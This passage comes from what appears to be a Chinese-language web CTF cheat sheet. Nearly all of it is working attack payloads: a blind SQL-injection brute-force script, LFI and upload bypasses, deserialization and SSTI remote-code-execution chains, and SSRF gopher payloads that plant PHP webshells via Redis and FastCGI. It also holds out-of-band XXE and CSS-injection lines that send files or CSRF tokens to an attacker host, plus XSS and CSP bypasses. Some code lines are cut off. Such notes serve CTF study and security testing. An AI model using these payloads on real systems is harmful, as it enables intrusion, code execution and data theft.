$ans = ''

(1..100).each do |i|
```

```
    l = 48
    r = 122

    while(l <= r)
        #puts "left: #{l}, right: #{r}"
        break if l == r

        mid = ((l + r) / 2)
        $query = "kaibro'union select '62084a9fa8872a1b917ef4442c1a734e'

        res = Net::HTTP.post_form URI($url), {"user" => $query, "pass" =>

        if res.body.include? 'document.location'
            l = mid + 1
        else
            r = mid
        end

    end
    $ans += l.chr
    puts $ans

end
```

PostgreSQL

- 子字串
  - substr("abc", 1, 1) => 'a'
- Ascii function
  - ascii('x') => 120
- Char function
  - chr(65) => A
- Concatenation
  - ||
  - 'a' || 'b' => 'ab'
- Delay function
  - pg_sleep(5)
  - GENERATE_SERIES(1, 1000000)
- 空白字元
  - 0A 0D 0C 09 20
- encode / decode
  - encode('123\\000\\001', 'base64') => MTIzAAE=
  - decode('MTIzAAE=', 'base64') => 123\000\001
- 不支援limit N, M
  - limit a offset b 略過前b筆，抓出a筆出來
- 註解

    - --
    - /**/
- 爆庫名
    - SELECT datname FROM pg_database
- 爆表名
    - SELECT tablename FROM pg_tables WHERE schemaname='dbname'
- 爆Column
    - SELECT column_name FROM information_schema.columns WHERE table_name='admin'
- Dump all
    - array_to_string(array(select userid||':'||password from users),',')
- 其它
    - version()
    - current_database()
    - user
        - current_user
        - SELECT usename FROM pg_user;
    - current_schema
    - current_query()
    - inet_server_addr()
    - inet_server_port()
    - inet_client_addr()
    - inet_client_port()
    - type conversion
        - cast(count(*) as text)
    - md5('abc')
    - replace('abcdefabcdef', 'cd', 'XX') => abXXefabXXef
    - pg_read_file(filename, offset, length)
        - 讀檔
        - 只能讀data_directory下的
    - pg_ls_dir(dirname)
        - 列目錄內容
        - 只能列data_directory下的
    - PHP的pg_query()可以多語句執行

ORM injection

https://www.slideshare.net/0ang3el/new-methods-for-exploiting-orm-injections-in-java-applications

- Hibernate
    - 單引號跳脫法

        - MySQL中，單引號用\'跳脫
        - HQL中，用兩個單引號''跳脫
        - `'abc\''or 1=(SELECT 1)--'`
            - 在HQL是一個字串
            - 在MySQL是字串+額外SQL語句
    - Magic Function法
        - PostgreSQL中內建`query_to_xml('Arbitary SQL')`
        - Oracle中有`dbms_xmlgen.getxml('SQL')`

HQL injection example (pwn2win 2017)

- `order=array_upper(xpath('row',query_to_xml('select (pg_read_file((select table_name from information_schema.columns limit 1)))',true,false,'')),1)`
    - Output: `ERROR: could not stat file "flag": No such file or directory`
- `order=array_upper(xpath('row',query_to_xml('select (pg_read_file((select column_name from information_schema.columns limit 1)))',true,false,'')),1)`
    - Output: `ERROR: could not stat file "secret": No such file or directory`
- `order=array_upper(xpath('row',query_to_xml('select (pg_read_file((select secret from flag)))',true,false,'')),1)`
    - Output: `ERROR: could not stat file "CTF-BR{bl00dsuck3rs_HQL1njection_pwn2win}": No such file or directory`

SQL Injection with MD5

- `$sql = "SELECT * FROM admin WHERE pass = '".md5($password, true)."'";`
- ffifdyop
    - md5: `276f722736c95d99e921722cf9ed621c`
    - to string: `'or'6<trash>`

HTTP Parameter Pollution

- `id=1&id=2&id=3`
    - ASP.NET + IIS: `id=1,2,3`
    - ASP + IIS: `id=1,2,3`
    - PHP + Apache: `id=3`

SQLmap

- https://github.com/sqlmapproject/sqlmap/wiki/Usage
- Usage
    - `python sqlmap.py -u 'test.kaibro.tw/a.php?id=1'`
        - 庫名: `--dbs`
        - 表名: `-D dbname --tables`
        - column: `-D dbname -T tbname --columns`
        - dump: `-D dbname -T tbname --dump`
            - `--start=1`
            - `--stop=5566`
        - DBA? `--is-dba`
        - 爆帳密: `--passwords`
        - 看權限: `--privileges`
        - 拿shell: `--os-shell`
        - interative SQL: `--sql-shell`
        - 讀檔: `--file-read=/etc/passwd`
        - Delay時間: `--time-sec=10`
        - User-Agent: `--random-agent`
        - Thread: `--threads=10`
        - Level: `--level=3`
            - default: `1`
        - `--technique`
            - default: `BEUSTQ`
        - Cookie: `--cookie="abc=55667788"`
        - Tor: `--tor --check-tor --tor-type=SOCKS5 --tor-port=9050`

LFI

Testing Payload

Linux / Unix

- `./index.php`
- `./././index.php`
- `.//index.php`
- `../../../../../../../etc/passwd`
- `../../../../../../../etc/passwd%00`
    - 僅在5.3.0以下可用
    - magic_quotes_gpc需為OFF
- `%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd`
- `ＮＮ/ＮＮ/ＮＮ/etc/passwd`

- /var/log/apache2/error.log
- /var/log/httpd/access_log
- /usr/local/apache2/conf/httpd.conf
- /etc/apache2/apache2.conf
- /etc/apache2/sites-available/000-default.conf
- /usr/local/etc/apache2/httpd.conf
- /etc/nginx/conf.d/default.conf
- /etc/nginx/nginx.conf
- /etc/nginx/sites-enabled/default
- /etc/nginx/sites-enabled/default.conf
- .htaccess
- /root/.bash_history
- /root/.ssh/id_rsa
- /root/.ssh/authorized_keys

Windows

- C:/Windows/win.ini
- C:/boot.ini
- C:/apache/logs/access.log
- ../../../../../../../../../boot.ini/.....................
- C:/windows/system32/drivers/etc/hosts

環境變數

- ../../../../proc/self/environ
    - HTTP_User_Agent塞php script

log文件

- apache log
- mysql log
- ssh log
    - /var/log/auth.log

php://filter

- php://filter/convert.base64-encode/resource=index.php
- php://filter/read=string.rot13/resource=index.php

php://input

- ?page=php://input
    - post data: <?php system("net user"); ?>
    - 需要有開啟url_allow_include，5.4.0直接廢除

phpinfo

- 對server以form-data上傳文件，會產生tmp檔
- 利用phpinfo得到tmp檔路徑和名稱
- LFI Get shell
- 限制
    - Ubuntu 17後，預設開啟PrivateTmp，無法利用

php session

- Session一般存在sess_{PHPSESSID}中
- 可以透過修改Cookie再LFI拿shell
- 以下為常見存放路徑
    - /var/tmp/
    - /tmp/
    - /var/lib/php5/
    - /var/lib/php/
- session.upload_progress
    - PHP預設開啟
    - 用來監控上傳檔案進度
    - 當session.upload_progress.enabled開啟，可以POST在$_SESSION中添加資料（sess_{PHPSESSID}）
    - 配合LFI可以getshell
    - session.upload_progress.cleanup=on時，可以透過Race condition
    - Example
        - HITCON CTF 2018 - One Line PHP Challenge

data://

- 條件
    - allow_url_fopen: On
    - allow_url_include: On
- 用法
    - ?file=data://text/plain,<?php phpinfo()?>
    - ?file=data:text/plain,<?php phpinfo()?>
    - ?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

zip / phar

- 適用驗證副檔名時
- zip
    - 新建zip，裡頭壓縮php腳本(可改副檔名)

    - `?file=zip://myzip.zip#php.jpg`
- phar
    - ```php <?php $p = new PharData(dirname(__FILE__).'/phartest.zip', 0,'phartest2',Phar::ZIP); $x = file_get_contents('./a.php'); $p->addFromString('b.jpg', $x); ?>
    - 構造 `?file=phar://phartest.zip/b.jpg`

SSI (Server Side Includes)

- 通常放在`.shtml, .shtm`
- Execute Command
    - `<!--#exec cmd="command"-->`
- File Include
    - `<!--#include file="../../web.config"-->`
- Example
    - HITCON CTF 2018 - Why so Serials?

上傳漏洞

Javascript檢測

- Burp Suite 中間修改
- disable javascript

Bypass MIME Detection

- Burp修改Content-Type

黑名單判斷副檔名

- 大小寫繞過
    - pHP
    - AsP
- 空格 / 點 繞過
    - Windows特性
    - .php(空格) // burp修改
    - .asp.
- php3457
    - .php3
    - .php4
    - .php5
    - .php7

    - .pht
    - .phtml
- .htaccess `<FilesMatch "kai"> SetHandler application/x-httpd-php </FilesMatch>`
- 文件解析漏洞

Magic Number

- jpg
    - `FF D8 FF E0 00 10 4A 46 49 46`
- gif
    - `47 49 36 38 39 61`
- png
    - `89 50 4E 47`

其他

- 常見場景：配合文件解析漏洞

反序列化

PHP - Serialize() / Unserialize()

- `__construct()`
    - Object被new時調用，但unserialize()不調用
- `__destruct()`
    - Object被銷毀時調用
- `__wakeup()`
    - unserialize時自動調用
- `__sleep()`
    - 被serialize時調用
- `__toString()`
    - 物件被當成字串時調用

- Value
    - String
        - `s:size:value;`
    - Integer
        - `i:value;`
    - Boolean

        - b:value; ('1' or '0')
    - NULL
        - N;
    - Array
        - a:size:{key definition; value definition; (repeat per element)}
    - Object
        - O:strlen(class name):class name:object size:{s:strlen(property name):property name:property definition;(repeat per property)}
    - 其他
        - C - custom object
        - R - pointer reference

- Public / Private / Protected 序列化
    - 例如：class名字為: Kaibro，變數名字: test
    - 若為Public，序列化後：
        - ...{s:4:"test";...}
    - 若為Private，序列化後：
        - ...{s:12:"%00Kaibro%00test"}
    - 若為Protected，序列化後：
        - ...{s:7:"%00*%00test";...}
    - Private和Protected會多兩個NULL byte

- Example

```
<?php

class Kaibro {
    public $test = "ggininder";
    function __wakeup()
    {
        system("echo ".$this->test);
    }
}

$input = $_GET['str'];
$kb = unserialize($input);
```

- Input: .php?str=O:6:"Kaibro":1:{s:4:"test";s:3:";id";}
- Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

- Example 2 - Private

```
<?php

class Kaibro {
    private $test = "ggininder";
    function __wakeup()
    {
        system("echo ".$this->test);
    }
}

$input = $_GET['str'];
$kb = unserialize($input);
```

- Input: `.php?str=O:6:"Kaibro":1:{s:12:"%00Kaibro%00test";s:3:";id";}`
- Output: `uid=33(www-data) gid=33(www-data) groups=33(www-data)`

- CVE-2016-7124
  - 影響版本：
    - PHP5 < 5.6.25
    - PHP7 < 7.0.10
  - 物件屬性個數大於真正的屬性個數，會略過__wakeup的執行
  - 反序列化會失敗，但是__destruct會執行
  - HITCON 2016
- 小特性
  - `O:+4:"test":1:{s:1:"a";s:3:"aaa";}`
  - `O:4:"test":1:{s:1:"a";s:3:"aaa";}`
  - 兩者結果相同
- Phar:// 反序列化
  - phar文件會將使用者自定義的metadata以序列化形式保存
  - 透過phar://偽協議可以達到反序列化的效果
  - 常見影響函數: `file_get_contents()`, `file_exists()`, `is_dir()`, ...
  - Generic Gadget Chains
    - phpggc
  - Example
    - HITCON CTF 2017 - Baby∧H Master PHP 2017
    - HITCON CTF 2018 - Baby Cake

- DCTF 2018 - Vulture

Python Pickle

- `dumps()` 將物件序列化成字串
- `loads()` 將字串反序列化

Example:

a.py:

```
import os
import cPickle
import sys
import base64

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('id',))

shellcode = cPickle.dumps(Exploit())
print base64.b64encode(shellcode)
```

b.py:

```
import os
import cPickle
import sys
import base64

s = raw_input(":")

print cPickle.loads(base64.b64decode(s))
```

```
$ python a.py > tmp
$ cat tmp | python b.py
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),
```

Ruby/Rails Marshal

this one is not self-executing

this one actually relies on rails invoking a method on the resulting object after the deserialization

```
erb = ERB.allocate
erb.instance_variable_set :@src, "`id`"
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new er
hash = {depr => 'something'}
```

```
marshalled = Marshal.dump(hash)
print marshalled
```

在ERB上，當result或run method被call時，@src的string會被執行

- 常見使用情境：
  - 以Marshal為Cookie Serializer時，若有`secret_key`，則可以偽造Cookie
  - 也可以透過`DeprecatedInstanceVariableProxy`去執行ERB的`result`來RCE
    - 當`DeprecatedInstanceVariableProxy`被unmarshal，rails session對他處理時遇到不認識的method就會呼叫`method_missing`，導致執行傳入的ERB
    - `@instance.__send__(@method)`
- Cookie Serializer
  - Rails 4.1以前的Cookie Serializer為Marshal
  - Rails 4.1開始，默認使用JSON

Ruby/Rails YAML

- CVE-2013-0156
  - 舊版本的Rails中，XML的node可以自訂type，如果指定為`yaml`，是會被成功解析的
  - 若反序列化`!ruby/hash`，則相當於在物件上調用`obj[key]=val`，也就是`[]=`方法
  - 而這個`ActionDispatch::Routing::RouteSet::NamedRouteCollection`中的`[]=`方法中，有一條代碼路徑可以eval
  - `define_hash_access`中可以看到`module_eval`，裏頭的`selector`來自`name`
  - 因為他還會對`value`調用`defaults` method，所以可以利用`OpenStruct`來構造
    - 函數名=>返回值的對應關係存放在`@table`中
  - Payload: ```ruby xml = %{
    <?xml version="1.0" encoding="UTF-8"?>

    ---| !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection
    'test; sleep(10); test' :

```
!ruby/object:OpenStruct
table:
:defaults: {}
```

}.strip `` - CVE-2013-0333 - Rails 2.3.x和3.0.x中，允許text/json的request轉成YAML解析 -Yaml在Rails 3.0.x是預設的JSON Backend- 出問題的地方在於YAML.load前的convert_json_to_yaml，他不會檢查輸入的JSON是否合法 - 一樣可以透過 ActionController::Routing::RouteSet::NamedRouteCollection#define_hash_access的module_eval`來RCE

Java Deserialization

- https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet

.NET Derserialization

- ysoserial.net
- asp.net中ViewState以序列化形式保存資料
  - 有machinekey或viewstate未加密/驗證時，可以RCE
- Example
  - HITCON CTF 2018 - Why so Serials?

SSTI

Server-Side Template Injection

Testing

- {{ 7*'7' }}
  - Twig: 49
  - Jinja2: 7777777
- <%= 7*7 %>
  - Ruby ERB: 49

Flask/Jinja2

- Dump all used classes
  - {{ ''.__class__.__mro__[2].__subclasses__() }}
- Read File
  - {{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
- Write File

    - `{{''.__class__.__mro__[2].__subclasses__()[40]('/var/www/app/a.txt', 'w').write('Kaibro Yo!')}}`
- RCE
    - `{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}`
        - evil config
    - `{{ config.from_pyfile('/tmp/evilconfig.cfg') }}`
        - load config
    - `{{ config['RUNCMD']('cat flag',shell=True) }}`
- RCE (another way)
    - `{{''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('ls').read()}}`
- 過濾中括號
    - `__getitem__`
    - `{{''.__class__.__mro__.__getitem__(2)}}`
        - `{{''.__class__.__mro__[2]}}`
- 過濾{{ or }}
    - 用{%%}
    - 執行結果往外傳
- 過濾.
    - `{{''.__class__}}`
        - `{{''['__class__']}}`
        - `{{''|attr('__class__')}}`
- 用request繞
    - `{{''.__class__}}`
        - `{{''[request.args.kaibro]}}&kaibro=__class__`

AngularJS

- v1.6後移除Sandbox
- Payload
    - `{{ 7*7 }}` => 49
    - `{{ this }}`
    - `{{ this.toString() }}`
    - `{{ constructor.toString() }}`
    - `{{ constructor.constructor('alert(1)')() }}` 2.1 v1.0.1-v1.1.5
    - `{{ a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')() }}` 2.1 v1.0.1-v1.1.5
    - {{

toString.constructor.prototype.toString=toString.constructor.prototype.call;
["a","alert(1)"].sort(toString.constructor) }} 2.3 v1.2.19-v1.2.23
- {{'a'.constructor.prototype.charAt='';valueOf;$eval("x='\"+(y='if(!window\\u002ex)alert(window\\u002ex=1)')+eval(y)+\"'");}} v1.2.24-v1.2.29
- {{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}} v1.3.20
- {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} };alert(1)//');}} v1.4.0-v1.4.9
- {{x = {'y':''.constructor.prototype};x['y'].charAt=[].join;$eval('x=alert(1)');}} v1.5.0-v1.5.8
- {{ [].pop.constructor('alert(1)')() }} 2.8 v1.6.0-1.6.6

Vue.js

- {{constructor.constructor('alert(1)')()}}
- https://github.com/dotboris/vuejs-serverside-template-xss

Python

- %
  - 輸入%(passowrd)s即可偷到密碼： python userdata = {"user" : "kaibro", "password" : "ggininder" } passwd = raw_input("Password: ") if passwd != userdata["password"]: print ("Password " + passwd + " is wrong")
- f
  - python 3.6
  - example
    - a="gg"
    - b=f"{a} ininder"
      - >>> gg ininder
  - example2
    - f"{os.system('ls')}"

Tool

- https://github.com/epinna/tplmap

---

http://blog.portswigger.net/2015/08/server-side-template-injection.html

SSRF

Bypass 127.0.0.1

```
127.0.0.1
localhost
127.0.1
127.1
0.0.0.0
0.0
0

::1
::127.0.0.1
::ffff:127.0.0.1
::1%1

127.12.34.56 (127.0.0.1/8)
127.0.0.1.xip.io

http://2130706433 (decimal)
http://0x7f000001
http://017700000001
http://0x7f.0x0.0x0.0x1
http://0177.0.0.1
http://0177.01.01.01
http://0x7f.1
http://[::]
```

Bypass using Ⓐ Ⓑ Ⓒ Ⓓ

- http://ⓀⒶ�IⒷⓇⓄ.ⓉⓌ
- http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ

內網IP

- 10.0.0.0/8
- 172.16.0.0/12
- 192.168.0.0/16

XSPA

- port scan
    - 127.0.0.1:80 => OK
    - 127.0.0.1:87 => Timeout
    - 127.0.0.1:9487 => Timeout

302 Redirect Bypass

- 用來繞過protocol限制

- 第一次SSRF，網站有做檢查、過濾
- 302跳轉做第二次SSRF沒有檢查

本地利用

- file protocol
    - `file:///etc/passwd`
    - `file:///proc/self/cmdline`
        - 看他在跑啥
    - `file:///proc/self/exe`
        - dump binary
    - `file:///proc/self/environ`
        - 讀環境變數
    - `curl file://google.com/etc/passwd`
        - 新版已修掉
        - 實測libcurl 7.47可work
    - Java原生可列目錄
    - Perl/Ruby open Command Injection

遠程利用

- Gopher
    - 可偽造任意TCP，hen蚌
    - `gopher://127.0.0.1:5278/xGG%0d%0aININDER`
- 常見例子
    - Struts2
        - S2-016
            - `action:`、`redirect:`、`redirectAction:`
            - `index.do?redirect:${new java.lang.ProcessBuilder('id').start()}`
    - ElasticSearch
        - default port: `9200`
    - Redis
        - default port: `6379`
        - 用SAVE寫shell `FLUSHALL SET myshell "<?php system($_GET['cmd']) ?>" CONFIG SET DIR /www CONFIG SET DBFILENAME shell.php SAVE QUIT`
        - URLencoded payload: `gopher://127.0.0.1:6379/_FLUSHALL%0D%0ASET%20myshell%20%22%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22%0D%0ACONFIG%20SET%20DIR%20%2fwww%2f%0D%0ACONFIG%20SET%20DBFILENAME%20shell.php%0D%0ASAVE%0D%0AQUIT`

- FastCGI
  - default port: 9000
  - example
    - Discuz Pwn
      - 302.php: <?php header("Location: gopher://127.0.0.1:9000/x%01%01Zh%00%08%00%00%00%01%00%00%00%00%00%00%01%04Zh%00%8b%00%00%0E%03REQUEST_METHODGET%0F%0FSCRIPT_FILENAME/www//index.php%0F%16PHP_ADMIN_VALUEallow_url_include%20=%20On%09%26PHP_VALUEauto_prepend_file%20=%20http://kaibro.tw/x%01%04Zh%00%00%00%00%01%05Zh%00%00%00%00");
      - x: <?php system($_GET['cmd']); ?>
      - visit: /forum.php?mod=ajax&action=downremoteimg&message=[img]http://kaibro.tw/302.php?.jpg[/img]
- MySQL
  - 無密碼認證可以SSRF
  - MySQL Client與Server交互主要分兩階段
    - Connection Phase
    - Command Phase
  - gopher://127.0.0.1:3306/_<PAYLOAD>
- Docker
  - Remote api未授權訪問
    - 開一個container，掛載/root/，寫ssh key
    - 寫crontab彈shell
- ImageMagick - CVE-2016-3718
  - 可以發送HTTP或FTP request
  - payload: ssrf.mvg push graphic-context viewbox 0 0 640 480 fill 'url(http://example.com/)' pop graphic-context
  - $ convert ssrf.mvg out.png

CRLF injection

SMTP

SECCON 2017 SqlSRF:

```
127.0.0.1 %0D%0AHELO sqlsrf.pwn.seccon.jp%0D%0AMAIL FROM%3A%3Ckaibrotw%40gmail.com%3E%0D%0ARCPT TO%3A %3Croot%40localhost%3E%0D%0ADATA%0D%0ASubject%3A give me flag%0D%0Agive me flag%0D%0A.
```

```
%0D%0AQUIT%0D%0A:25/
```

FingerPrint

- dict

```
dict://evil.com:5566

$ nc -vl 5566
Listening on [0.0.0.0] (family 0, port 5278)
Connection from [x.x.x.x] port 5566 [tcp/*] accepted (family 2, sport 407
CLIENT libcurl 7.35.0

-> libcurl version
```

- sftp

```
sftp://evil.com:5566

$ nc -vl 5566
Listening on [0.0.0.0] (family 0, port 5278)
Connection from [x.x.x.x] port 5278 [tcp/*] accepted (family 2, sport 408
SSH-2.0-libssh2_1.4.2

-> ssh version
```

- Content-Length
  - 送超大Content-length
  - 連線hang住判斷是否為HTTP Service

UDP

- tftp
  - `tftp://evil.com:5566/TEST`
  - syslog

SSRF Bible:

https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit

Testing Payload:

https://github.com/cujanovic/SSRF-Testing

XXE

內部實體

```
<!DOCTYPE kaibro[
    <!ENTITY param "hello">
]>
<root>&param;</root>
```

外部實體

- libxml2.9.0以後，預設不解析外部實體
- simplexml_load_file()舊版本中預設解析實體，但新版要指定第三個參數 LIBXML_NOENT
- SimpleXMLElement is a class in PHP
    - http://php.net/manual/en/class.simplexmlelement.php

```
<!DOCTYPE kaibro[
    <!ENTITY xxe SYSTEM "http://kaibro.tw/xxe.txt">
]>
<root>&xxe;</root>
```

```
<!DOCTYPE kaibro[
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
```

XXE on Windows

```
<!DOCTYPE kaibro[
    <!ENTITY xxe SYSTEM "\\12.34.56.78">
]>
<root>&xxe;</root>
```

參數實體

```
<!DOCTYPE kaibro[
    <!ENTITY % remote SYSTEM "http://kaibro.tw/xxe.dtd">
    %remote;
]>
<root>&b;</root>
```

xxe.dtd: `<!ENTITY b SYSTEM "file:///etc/passwd">`

Out of Band (OOB) XXE

- Blind 無回顯

```
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/var/
<!ENTITY % remote SYSTEM "http://kaibro.tw/xxe.dtd">
%remote;
%all;
%send;
]>
```

xxe.dtd:

```
<!ENTITY % all "<!ENTITY &#37; send SYSTEM 'http://kaibro.tw/?a=%file;'>"
```

DoS

- Billion Laugh Attack

```
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
```

其它

- DOCX
- XLSX
- PPTX
- PDF
- https://github.com/BuffaloWill/oxml_xxe

XSS

Basic Payload

- `<script>alert(1)</script>`
- `<svg/onload=alert(1)>`
- `<img src=# onerror=alert(1)>`
- `<a href="javascript:alert(1)">g</a>`
- `<input type="text" value="g" onmouseover="alert(1)" />`
- `<iframe src="javascript:alert(1)"></iframe>`

- ...

Testing

- `<script>alert(1)</script>`
- `'"><script>alert(1)</script>`
- `<img/src=@ onerror=alert(1)/>`
- `'"><img/src=@ onerror=alert(1)/>`
- `' onmouseover=alert(1) x='`
- `" onmouseover=alert(1) x="`
- `` `onmouseover=alert(1) x=` ``
- `javascript:alert(1)//`
- ....

繞過

- `//`(javascript註解)被過濾時，可以利用算數運算符代替
  - `<a href="javascript:alert(1)-abcde">xss</a>`
- HTML特性
  - 不分大小寫
    - `<ScRipT>`
    - `<img SrC=#>`
  - 屬性值
    - `src="#"`
    - `src='#'`
    - `src=#`
    - `` src=`#` `` (IE)
- 編碼繞過
  - `<svg/onload=alert(1)>`
    - `<svg/ onload=alert(1)>` (16進位) (分號可去掉)
- 繞空白
  - `<img/src='1'/onerror=alert(0)>`

其他

- 特殊標籤
  - 以下標籤中的腳本無法執行
  - `<title>`, `<textarea>`, `<iframe>`, `<plaintext>`, `<noscript>`...
- 偽協議
  - javascript:

        - `<a href=javascript:alert(1) >xss</a>`
    - data:
        - `<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==>xss</a>`

- Javascript自解碼機制
    - `<input type="button" onclick="document.write('<img src=@ onerror=alert(1) />')" />`
    - 會成功`alert(1)`，因為javascript位於HTML中，在執行javascript前會先解碼HTML編碼
    - 但若是包在`<script>`中的javascript，不會解碼HTML編碼
    - 此編碼為HTML entity和`&#xH;`(hex)，`&#D;`(dec)形式

- Javascript中有三套編碼/解碼函數
    - escape/unescape
    - encodeURI/decodeURI
    - encodeURIComponent/decodeURICompinent

- 一些alert(document.domain)的方法
    - `(alert)(document.domain);`
    - `al\u0065rt(document.domain);`
    - `al\u{65}rt(document.domain);`
    - `window['alert'](document.domain);`
    - `alert.call(null,document.domain);`
    - `alert.bind()(document.domain);`
    - https://gist.github.com/tomnomnom/14a918f707ef0685fdebd90545580309

- Some Payload
    - `<svg/onload=alert(1);alert(2)>`
    - `<svg/onload="alert(1);alert(2)">`
    - `<svg/onload="alert(1);alert(2)">`
        - `;;`改成`;`會失敗
        - 雙引號可去掉
        - 可10進位，16進位混合
    - `<svg/onload=\u0061\u006c\u0065\u0072\u0074(1)>`
        - \u形式只能用在javascript，例如onload的a改成\u0061會失敗
    - `<title><a href="</title><svg/onload=alert(1)>`
        - title優先權較大，直接中斷其他標籤
    - `<svg><script>prompt(1)</script>`
        - 因為`<svg>`，HTML Entities會被解析

        - 去掉<svg>會失敗，<script>不會解析Entities
    - <? foo="><script>alert(1)</script>">
    - <! foo="><script>alert(1)</script>">
    - </ foo="><script>alert(1)</script>">
    - <% foo="><script>alert(1)</script>">
- Markdown XSS
    - [a](javascript:prompt(document.cookie))
    - [a](j a v a s c r i p t:prompt(document.cookie))
    - [a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
    - [a](javascript:window.onerror=alert;throw%201)
    - ...
- 文件XSS
    - Example: PlaidCTF 2018 wave XSS
    - 上傳.wave檔 (會檢查signatures) RIFF`....WAVE...` alert(1); function RIFF(){}
        - 變成合法的js語法
        - wave在apache mime type中沒有被定義
        - <script src="uploads/this_file.wave">

CSP evaluator

https://csp-evaluator.withgoogle.com/

Bypass CSP

- base
    - 改變資源載入的域，引入惡意的js
    - <base href ="http://kaibro.tw/">
    - RCTF 2018 - rBlog
- script nonce

```
<p>可控內容<p> <script src="xxx" nonce="AAAAAAAAAAA"></script>

插入<script src="http//kaibro.tw/uccu.js" a="

<p><script src="http//kaibro.tw/uccu.js" a="<p> <script src="xxx" nonce="AAAAAAAAAAA"></script>
```

- Script Gadget
    - https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf
    - is an **existing** JS code on the page that may be used to bypass

mitigations
    - Bypassing CSP strict-dynamic via Bootstrap
        - `<div data-toggle=tooltip data-html=true title='<script>alert(1)</script>'></div>`
    - Bypassing sanitizers via jQuery Mobile
        - `<div data-role=popup id='--><script>alert(1)</script>'></div>`
    - Bypassing NoScript via Closure (DOM clobbering)
        - `<a id=CLOSURE_BASE_PATH href=http://attacker/xss></a>`
    - Bypassing ModSecurity CRS via Dojo Toolkit
        - `<div data-dojo-type="dijit/Declaration" data-dojo-props="}-alert(1)-{">`
    - Bypassing CSP unsafe-eval via underscore templates
        - `<div type=underscore/template> <% alert(1) %> </div>`
    - 0CTF 2018 - h4xors.club2
- google analytics ea
    - ea is used to log actions and can contain arbitrary string
    - Google CTF 2018 - gcalc2

Online Encoding / Decoding

- http://monyer.com/demo/monyerjs/

JSFuck

- http://www.jsfuck.com/

aaencode / aadecode

- http://utf-8.jp/public/aaencode.html
- https://cat-in-136.github.io/2010/12/aadecode-decode-encoded-as-aaencode.html

RPO

- http://example.com/a%2findex.php
    - 瀏覽器會把`a%2findex.php`當成一個檔案
    - Web Server則會正常解析成`a/index.php`
    - 所以當使用**相對路徑**載入css時，就可以透過這種方式讓瀏覽器解析到其他層目錄下的檔案
        - 如果該檔案內容可控，則有機會XSS
    - 舉例：
        - `/test.php`中有`<link href="1/" ...>`
        - 另有`/1/index.php`給`?query=參數`，會直接輸出該參數內容

- 訪問/1%2f%3Fquery={}*{background-color%3Ared}%2f..%2f../test.php就會讓背景變紅色
  - Server: /test.php
  - Browser: /1%2f%3Fquery={}*{background-color%3Ared}%2f..%2f../test.php
    - CSS會載入/1/?query={}*{background-color:red}/../../1/
  - CSS語法容錯率很高

CSS Injection

- CSS可控時，可以Leak Information
- Example:
  - leak <input type='hidden' name='csrf' value='2e3d04bf...'>
  - input[name=csrf][value^="2"]{background: url(http://kaibro.tw/2)}
  - input[name=csrf][value^="2e"]{background: url(http://kaibro.tw/2e)}
  - ...
  - SECCON CTF 2018 - GhostKingdom

密碼學

PRNG

- php 7.1.0後 rand()和srand()已經等同mt_rand()和mt_srand()
  - 測試結果：https://3v4l.org/PIUEo
- php > 4.2.0 會自動對srand()和mt_srand()播種
  - 只進行一次seed，不會每次rand()都seed
- 可以通過已知的random結果，去推算隨機數種子，然後就可以推算整個隨機數序列
- 實際應用上可能會碰到連上的不是同個process，可以用Keep-Alive來確保連上同個php process(只會seed一次)
- 7.1以前rand()使用libc random()，其核心為：state[i] = state[i-3] + state[i-31]
  - 所以只要有31個連續隨機數就能預測接下來的隨機數
  - 後來rand() alias成mt_rand()，採用的是Mersenne Twister算法

- Example: HITCON 2015 - Giraffe's Coffee

ECB mode

Cut and Paste Attack

- 每個Block加密方式都一樣，所以可以把Block隨意排列
- 舉例： `user=kaibro;role=user`
  - 假設Block長度為8
  - 構造一下user: (|用來區隔Block)
    - `user=aaa|admin;ro|le=user`
    - `user=aaa|aa;role=|user`
  - 排列一下：(上面每塊加密後的Block都已知)
    - `user=aaa|aa;role=|admin;ro`
- Example: AIS3 2017 pre-exam

Encryption Oracle Attack

- `ECB(K, A + B + C)`的運算結果可知
  - B可控
  - K, A, C未知
- C的內容可以透過以下方法爆出來：
  - 找出最小的長度L
  - 使得將B改成L個a，該段pattern剛好重複兩次
    - `...bbbb bbaa aaaa aaaa cccc ...`
    - `...???? ???? 5678 5678 ???? ...`
